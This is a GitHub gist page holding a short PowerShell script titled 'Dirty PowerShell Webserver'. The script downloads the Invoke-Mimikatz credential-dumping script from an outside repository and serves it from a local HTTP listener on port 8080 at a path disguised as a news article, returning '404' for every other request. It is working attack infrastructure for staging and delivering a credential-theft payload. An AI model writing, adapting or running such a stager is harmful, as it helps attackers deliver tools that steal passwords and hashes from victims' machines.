Skip to content

Instantly share code, notes, and snippets.

@cobbr
Forked from obscuresec/dirtywebserver.ps1
Last active January 30, 2020 18:55
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save cobbr/04773a3f79d13ad966ecbccade556b9a to your computer and use it in GitHub Desktop.
Save cobbr/04773a3f79d13ad966ecbccade556b9a to your computer and use it in GitHub Desktop.
Dirty PowerShell Webserver
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)
}
Else {
$Buf = [Text.Encoding]::UTF8.GetBytes('404')
}
$HRes.ContentLength64 = $Buf.Length
$HRes.OutputStream.Write($Buf,0,$Buf.Length)
$HRes.Close()
}
$Hso.Stop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment